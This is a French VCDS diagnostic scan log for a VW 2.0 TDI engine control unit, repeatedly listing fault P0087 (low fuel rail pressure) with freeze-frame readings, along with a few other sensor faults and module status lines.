Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Valeur de charge normée: 0.0 %
Vitesse du véhicule: 0 km/h
Température du liquide de refroidissement: 23 °C
Température air d’admission: 23 °C
Pression de l'air ambiant: 880 mbar
Tension borne 30: 12.040 V
Lundi,09,Septembre,2024,15:47:56:00009
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Compteur de désapprentissage selon OBD: 40
Consommation de carburant: 0.00 l/h
Température d'huile moteur: 35.5 °C
Seuil d'alerte huile: 0.000 mm
Statut des contacteurs de pression d’huile-Bits 0-7: 0
Niveau d'huile: 120.000 mm
Lundi,09,Septembre,2024,15:47:56:00009
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Détecteur de temp. extérieure 1 banc 1: valeur brute: 20.5 °C
Transmetteur 1 temp. de carburant banc 1: valeur brute: 22.6 °C
10065 - Débitmètre d´air massique (G70) Aucun signal
P0104 00 [036] - -
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
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Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 2
Kilométrage: 277258 km
Date: 2023.05.15
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
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2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Temps: 13:52:59
Régime moteur: 1013.50 /min
Valeur de charge normée: 19.6 %
Vitesse du véhicule: 0 km/h
Température du liquide de refroidissement: 41 °C
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Température air d’admission: 46 °C
Pression de l'air ambiant: 880 mbar
Tension borne 30: 11.920 V
Compteur de désapprentissage selon OBD: 40
Masse d'air débitmètre d'air massique 1 b1: valeur brute: 393.8 mg/course
Rapport de flux d'air normalisé: filtré: 1.0245
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Soupape de recyclage des gaz éch. 1 b1: réponse pos. - valeur eff.: 0.00 %
Actionn. papillon 1 b1: réponse pos. - valeur eff.: 0.06 %
Pression de suralimentation de consigne: 1162 hPa
Entrée rad. air sural.: transm. pression 1 b1: tens. brute: 878.8 hPa
Débit d'injection moyen: 4.67 mg/course
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
25193 - Détecteur de temp. pr radiateur d'air de suralimentation banc 1
P007D 00 [032] - c.c. au pôle +
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
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Code atelier: WSC 01286 386 08256
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ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Fréquence du défaut: 1
Kilométrage: 277258 km
Date: 2023.05.15
Temps: 14:01:38
Régime moteur: 0.00 /min
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Valeur de charge normée: 0.0 %
Vitesse du véhicule: 0 km/h
Température du liquide de refroidissement: 29 °C
Température air d’admission: -40 °C
Pression de l'air ambiant: 880 mbar
Tension borne 30: 12.020 V
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Compteur de désapprentissage selon OBD: 40
Masse d'air débitmètre d'air massique 1 b1: valeur brute: 0.0 mg/course
Rapport de flux d'air normalisé: filtré: 3.9999
Soupape de recyclage des gaz éch. 1 b1: réponse pos. - valeur eff.: 0.00 %
Actionn. papillon 1 b1: réponse pos. - valeur eff.: 0.00 %
Pression de suralimentation de consigne: 0 hPa
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
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Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Entrée rad. air sural.: transm. pression 1 b1: tens. brute: 892.0 hPa
Débit d'injection moyen: 0.00 mg/course
18110 - Banc 1-sonde 1 circuit électrique de chauffage Coupure
P0030 00 [101] - -
Non Confirmé - Testé depuis RàZ mémoire
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
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Pièce et/ou version: R4 2,0L EDC H22 7540
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Code atelier: WSC 01286 386 08256
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ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Date: 2000.00.00
Temps: 00:00:00
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
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Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
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VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Régime moteur: 0.00 /min
Valeur de charge normée: 0.0 %
Vitesse du véhicule: 0 km/h
Température du liquide de refroidissement: 52 °C
Température air d’admission: 49 °C
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Pression de l'air ambiant: 890 mbar
Tension borne 30: 12.460 V
Compteur de désapprentissage selon OBD: 40
Sonde lambda: banc 1 amont cat. Oxi: qual. signal régul. pompe: 13
Sonde lambda: banc 1 aval cat. Oxi: qual. signal régul. temp.: 13
Sonde lambda: banc 1 amont cat. Oxi: courant pompe é[Link]é: 0.0000000 A
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Sonde lambda: banc 1 amont cat. Oxi: activation chauffage: 0.000 %
Sonde lambda: banc 1 amont cat. Oxi: val. capt. Urie élect. corr.: 0.0000 V
Sonde lambda: banc 1 amont cat. Oxi: résistance de tarage: 0.0 Ohm
Sonde lambda: banc1 amont cat. Oxi: adapt. courant pompe: 1.0000
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Tests passés: 1 1 0 0 X
___________________________________________________________________________
Mardi,16,Mai,2023,11:43:44:00009
VCDS -- Logiciel d'émulation de VAG/VAS sous Windows 10 x64
Version VCDS: FRM [Link]
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Version données: 20220407 DS338
[Link]
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Liste des calculateurs installés selon la gateway: 5Q0 907 530 M
01-Moteur -- Etat: OK 0000
02-Boite auto -- Etat: OK 0000
03-Freins ABS -- Etat: OK 0000
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
05-Autor. démarrage -- Etat: OK 0000
08-Climatronic -- Etat: OK 0000
09-Centrale Elec. -- Etat: Défaut 0010
10-Assistance stationnt -- Etat: OK 0000
13-Régulation dist. -- Etat: Défaut 0010
15-Airbags -- Etat: OK 0000
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
16-Volant multifonct. -- Etat: OK 0000
17-Instruments -- Etat: OK 0000
19-Gateway CAN -- Etat: Défaut 0010
2B-Verr. Col. Direct. -- Etat: OK 0000
42-Porte conducteur -- Etat: Défaut 0010
44-Direction assistée -- Etat: OK 0000
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
